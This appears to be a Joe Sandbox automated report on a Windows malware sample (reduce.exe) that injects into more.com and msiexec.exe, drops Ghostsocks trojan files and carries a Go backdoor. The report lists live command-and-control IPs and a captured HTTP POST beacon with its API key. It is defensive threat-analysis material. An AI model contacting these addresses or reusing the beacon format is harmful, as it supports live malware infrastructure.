Source: Joe Sandbox View	IP Address: 46.8.232.106 46.8.232.106
Source: Joe Sandbox View	IP Address: 188.130.206.243 188.130.206.243

Source: Joe Sandbox View

ASN Name: IPCORE-ASES IPCORE-ASES

Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 188.130.206.243
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 188.130.206.243
Source: unknown	TCP traffic detected without corresponding DNS query: 188.130.206.243
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 188.130.206.243
Source: unknown	TCP traffic detected without corresponding DNS query: 38.180.205.164
Source: unknown	TCP traffic detected without corresponding DNS query: 38.180.205.164
Source: unknown	TCP traffic detected without corresponding DNS query: 38.180.205.164
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 38.180.205.164
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 188.130.206.243
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 38.180.205.164
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 38.180.205.164
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Host: 46.8.232.106User-Agent: Go-http-client/1.1Content-Length: 166X-Api-Key: RevesNFjAccept-Encoding: gzipData Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 2e 36 58 01 2b 23 33 31 3c 1b 15 0d 0a 20 0a 2b 07 19 02 0f 1d 27 1e 28 13 35 3f 27 44 45 45 13 1d 01 1e 10 32 10 0a 1c 08 08 0a 06 4d 54 44 0a 22 12 23 16 09 01 32 41 43 4c 16 1b 08 1b 16 3e 07 1a 14 14 00 1c 02 4b 5d 41 2c 5e 2b 0e 14 09 1e 1b 44 45 45 01 1a 07 0a 0d 31 06 1d 1d 0f 06 09 41 55 4c 56 59 10 27 41 2d 23 2c 54 2a 37 37 44 45 45 0e 0b 5b 44 53 45 5a 0b 5e 5f 0d 04 52 0a 0a 07 5e 53 56 0e 5b 00 51 50 56 5a 5d 56 5d 5f 06 5a 59 50 5b 57 00 09 4c 1b Data Ascii: M*L\K.6X+#31< +'(5?'DEE2MTD"#2ACL>K]A,^+DEE1AULVY'A-#,T*77DEE[DSEZ^_R^SV[QPVZ]V]_ZYP[WL

Source: msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://188.130.206.243
Source: msiexec.exe, 00000007.00000002.2956257148.000000000ED96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://188.130.206.24338.180.205.164:80P&
Source: msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://38.180.205.164
Source: msiexec.exe, 00000007.00000002.2956126032.000000000ED0C000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://38.180.205.164http://46.8.232.106
Source: msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106
Source: msiexec.exe, 00000007.00000002.2955110668.000000000EC7C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106P.
Source: msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.236.61
Source: msiexec.exe, 00000007.00000002.2955110668.000000000EC96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.236.61P
Source: msiexec.exe, 00000007.00000002.2956126032.000000000ED22000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.212.166.91
Source: reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1989442077.00000000067A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1989442077.00000000067A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1989442077.00000000067A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: reduce.exe, 00000000.00000002.1718553599.0000000009496000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2006666674.0000000004852000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2953875021.0000000005771000.00000004.00000800.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1991442213.000000000946E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2214539573.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2216585430.0000000004BBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: reduce.exe, 00000000.00000002.1720577037.00000001010CC000.00000008.00000001.01000000.00000003.sdmp, reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000000.1958521441.00000001010CC000.00000008.00000001.01000000.0000000B.sdmp, Client32.exe, 00000008.00000002.1989442077.00000000067A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jbsolucoes/ucp
Source: reduce.exe	String found in binary or memory: https://home.hccnet.nl/s.j.francke/colorcatcher/index.html
Source: reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1989442077.00000000067A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: reduce.exe	String found in binary or memory: https://www.freepascal.org/
Source: reduce.exe	String found in binary or memory: https://www.lazarus-ide.org/

Source: reduce.exe

Static PE information: invalid certificate

Source: reduce.exe, 00000000.00000002.1720577037.00000001010CC000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameD vs reduce.exe
Source: reduce.exe, 00000000.00000002.1716346244.000000000666C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameD vs reduce.exe
Source: reduce.exe, 00000000.00000002.1717772547.0000000007E16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs reduce.exe
Source: reduce.exe, 00000000.00000002.1717514430.0000000007A0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs reduce.exe

Source: classification engine

Classification label: mal100.troj.evad.winEXE@12/8@0/6

Source: C:\Windows\SysWOW64\more.com

File created: C:\Users\user\AppData\Roaming\jion

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8068:120:WilError_03

Source: C:\Users\user\Desktop\reduce.exe

File created: C:\Users\user\AppData\Local\Temp\16ad20e3

Jump to behavior

Source: reduce.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\more.com

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\reduce.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: reduce.exe	String found in binary or memory: <!--StartFragment-->
Source: Client32.exe	String found in binary or memory: <!--StartFragment-->
Source: reduce.exe	String found in binary or memory: <!--StartFragment-->

Source: C:\Users\user\Desktop\reduce.exe

File read: C:\Users\user\Desktop\reduce.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\reduce.exe "C:\Users\user\Desktop\reduce.exe"
Source: C:\Users\user\Desktop\reduce.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jion\Client32.exe "C:\Users\user\AppData\Roaming\jion\Client32.exe"
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe
Source: C:\Users\user\Desktop\reduce.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe	Jump to behavior

Source: C:\Users\user\Desktop\reduce.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: shdocvw.dll	Jump to behavior

Source: C:\Windows\SysWOW64\more.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5CE34C0D-0DC9-4C1F-897C-DAA1B78CEE7C}\InProcServer32

Jump to behavior

Source: ivmfgila.1.dr

LNK file: ..\..\Roaming\jion\Client32.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: reduce.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: reduce.exe

Static PE information: Image base 0x100000000 > 0x60000000

Source: reduce.exe

Static file information: File size 18233144 > 1048576

Source: reduce.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x5e4a00
Source: reduce.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x2e8400
Source: reduce.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x7b4200

Source:	Binary string: ntdll.pdb source: reduce.exe, 00000000.00000002.1717960380.0000000008094000.00000004.00000001.00020000.00000000.sdmp, reduce.exe, 00000000.00000002.1717772547.0000000007C90000.00000004.00000800.00020000.00000000.sdmp, reduce.exe, 00000000.00000002.1717514430.0000000007894000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990504856.0000000007863000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990846904.000000000816B000.00000004.00000001.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990644776.0000000007C60000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: more.com, 00000001.00000002.2006505480.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2007201023.0000000005040000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2954644321.0000000005F60000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2953692888.000000000541E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2214422504.0000000004782000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2214963020.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2216464873.0000000004851000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2217032269.00000000053B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: reduce.exe, 00000000.00000002.1717960380.0000000008094000.00000004.00000001.00020000.00000000.sdmp, reduce.exe, 00000000.00000002.1717772547.0000000007C90000.00000004.00000800.00020000.00000000.sdmp, reduce.exe, 00000000.00000002.1717514430.0000000007894000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990504856.0000000007863000.00000004.00000020.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990846904.000000000816B000.00000004.00000001.00020000.00000000.sdmp, Client32.exe, 00000008.00000002.1990644776.0000000007C60000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: more.com, 00000001.00000002.2006505480.00000000044F3000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2007201023.0000000005040000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2954644321.0000000005F60000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 00000007.00000002.2953692888.000000000541E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2214422504.0000000004782000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2214963020.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2216464873.0000000004851000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.2217032269.00000000053B0000.00000004.00001000.00020000.00000000.sdmp

Source: kupcq.1.dr	Static PE information: section name: .symtab
Source: kupcq.1.dr	Static PE information: section name: fwjua
Source: nfabo.9.dr	Static PE information: section name: .symtab
Source: nfabo.9.dr	Static PE information: section name: fwjua

Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\nfabo			Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\kupcq			Jump to dropped file

Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\kupcq			Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\nfabo			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\KUPCQ
Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\NFABO

Source: C:\Windows\SysWOW64\msiexec.exe

Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\more.com	API/Special instruction interceptor: Address: 75DA3B54
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 9BBC87

Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nfabo			Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\kupcq			Jump to dropped file

Source: C:\Users\user\Desktop\reduce.exe	API coverage: 0.0 %
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	API coverage: 0.0 %

Source: msiexec.exe, 00000007.00000002.2953627209.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\reduce.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\reduce.exe	NtProtectVirtualMemory: Direct from: 0x9502151	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtProtectVirtualMemory: Direct from: 0x4D90150	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtProtectVirtualMemory: Direct from: 0xB28786873	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtProtectVirtualMemory: Direct from: 0x18710	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtAllocateVirtualMemory: Direct from: 0x4D90050	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtClose: Direct from: 0xB20000B2
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtAllocateVirtualMemory: Direct from: 0x7FFE217260D4	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtProtectVirtualMemory: Direct from: 0x8062EC0	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	NtCreateFile: Direct from: 0x270	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtClose: Direct from: 0x150
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtQuerySystemInformation: Direct from: 0x7FFE21726118	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	NtReadFile: Direct from: 0x254	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	NtProtectVirtualMemory: Direct from: 0x6880150	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtReadFile: Direct from: 0x218	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	NtAllocateVirtualMemory: Direct from: 0x6880050	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtClose: Direct from: 0x7FFE2172CDF8
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtCreateFile: Direct from: 0x27C	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	NtProtectVirtualMemory: Direct from: 0x7F92EC0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtProtectVirtualMemory: Direct from: 0x94DA151	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtReadFile: Direct from: 0x1EF590	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtAllocateVirtualMemory: Direct from: 0x7FFE21738E14	Jump to behavior
Source: C:\Users\user\Desktop\reduce.exe	NtProtectVirtualMemory: Direct from: 0xB184566DB	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtCreateFile: Direct from: 0x80	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtDelayExecution: Direct from: 0x13FE280	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	NtAllocateVirtualMemory: Direct from: 0x40	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\reduce.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 9B9330	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 2F8F008	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 9B9330	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 545008	Jump to behavior

Source: C:\Users\user\Desktop\reduce.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe	Jump to behavior

Source: reduce.exe	Binary or memory string: Shell_TrayWnd
Source: reduce.exe	Binary or memory string: ToolbarWindow32Shell_TrayWnd

Source: C:\Users\user\Desktop\reduce.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\16ad20e3 VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Users\user\AppData\Local\config VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jion\Client32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\27142db2 VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Yara detected GO Backdoor

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 8024, type: MEMORYSTR

Remote Access Functionality

Yara detected GO Backdoor

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 8024, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	11 DLL Side-Loading	212 Process Injection	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	212 Process Injection	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 DLL Side-Loading	NTDS	111 System Information Discovery	Distributed Component Object Model	Input Capture	1 Proxy	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
reduce.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\kupcq	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\nfabo	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\kupcq	47%	ReversingLabs	Win32.Trojan.Ghostsocks
C:\Users\user\AppData\Local\Temp\nfabo	47%	ReversingLabs	Win32.Trojan.Ghostsocks

Source	Detection	Scanner	Label
https://www.freepascal.org/	0%	Avira URL Cloud	safe
http://188.130.206.243	0%	Avira URL Cloud	safe
http://38.180.205.164http://46.8.232.106	0%	Avira URL Cloud	safe
https://home.hccnet.nl/s.j.francke/colorcatcher/index.html	0%	Avira URL Cloud	safe
http://38.180.205.164/	0%	Avira URL Cloud	safe
https://www.lazarus-ide.org/	0%	Avira URL Cloud	safe
http://38.180.205.164	0%	Avira URL Cloud	safe
